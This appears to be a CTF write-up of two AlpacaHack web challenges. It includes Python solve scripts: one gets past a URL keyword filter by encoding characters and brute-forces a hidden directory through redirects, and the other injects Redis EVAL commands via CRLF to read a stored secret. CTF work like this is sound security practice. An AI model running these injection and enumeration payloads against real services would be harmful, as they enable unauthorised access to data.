116 pts (71 solves)
Web
Author:ark
Check out the challenge here yourself
https://alpacahack.com/ctfs/round-7/challenges/treasure-hunt
There are two things that you need to figure out
In the dockerfile, the flag name is moved to a path made out of the md5sum of the flag and in a file. You have to figure out how to know if a directory exists
# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
&& mkdir -p $(dirname $FLAG_PATH) \
&& mv flag.txt $FLAG_PATH
There is also a regex check that forbids any requests that contains the characters flag
in the URL. You need to first figure out a way to bypass this check.
if (/[flag]/.test(req.url)) {
res.status(400).send(`Bad URL: ${req.url}`);
return;
}
After some trial and error, you could know that if a directory exists, the server would redirect you to the directory. For example, if you try to access http://server.com/a
and directory a exists, it would redirect you to http://server.com/a/
. With this we can brute force the directory name one by one. Since md5sum contains [a-f0-9] we only need to guess at most 16 times for each directory
To bypass the regex check, you just need to URL encode the characters.
Note that python requests library would URL decode some of the characters in the URL path
Maybe here https://github.com/psf/requests/blob/main/src/requests/models.py#L480Do
Therefore I did the encoding in the proxy on only the flag
characters.
Solve script.
import requests
import string
s = requests.session()
s.verify=False
s.proxies = {"http":"http://localhost:8080"}
def check(g):
for c in "flagbcde1234567890":
target_url = "http://34.170.146.252:19843"
res = s.get(target_url + f"{g}{c}",allow_redirects=False)
if res.status_code == 301:
print(g + c)
return g + c + "/"
return g
out = "/"
while True:
i = len(out)
out = check(out)
if len(out) == i:
break
146 pts (42 solves)
Web
Author:st98
Check out the challenge here
https://alpacahack.com/ctfs/round-7/challenges/alpaca-poll
The parameter animal
is controlled by the user. You can inject into the query.
export async function vote(animal) {
const socket = await connect();
const message = `INCR ${animal}\r\n`;
const reply = await send(socket, message);
socket.destroy();
console.info('[SQL reply]', reply)
return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number
}
There is a check here that checks for newline but does not seemed to be working
app.post('/vote', async (req, res) => {
let animal = req.body.animal || 'alpaca';
// animal must be a string
animal = animal + '';
// no injection, please
animal = animal.replace('\r', '').replace('\n', '');
try {
return res.json({
[animal]: await vote(animal)
});
} catch {
return res.json({ error: 'something wrong' });
}
});
import requests
s = requests.session()
s.verify= False
s.proxies={"http":"http://localhost:8080"}
# URL and headers
url = "http://34.170.146.252:42664/vote"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
}
def flagLen():
payload = f"""animal=flag
EVAL "return string.len(redis.call('GET', KEYS[1]))" 1 flag
"""
# Make the POST request
response = s.post(url, headers=headers, data=payload)
# Print the response
# print("Status Code:", response.status_code)
print("Response Body:", response.text)
return int(response.text.split(":")[-1][:-1])
def readFlag(idx):
payload = f"""animal=flag
EVAL "return string.byte(redis.call('GET', KEYS[1]):sub({idx}, {idx}))" 1 flag
"""
# Make the POST request
response = s.post(url, headers=headers, data=payload)
# Print the response
# print("Status Code:", response.status_code)
print("Response Body:", response.text)
return chr(int(response.text.split(":")[-1][:-1]))
length = flagLen()
out = ""
for i in range(length):
out += readFlag(i+1)
print(out)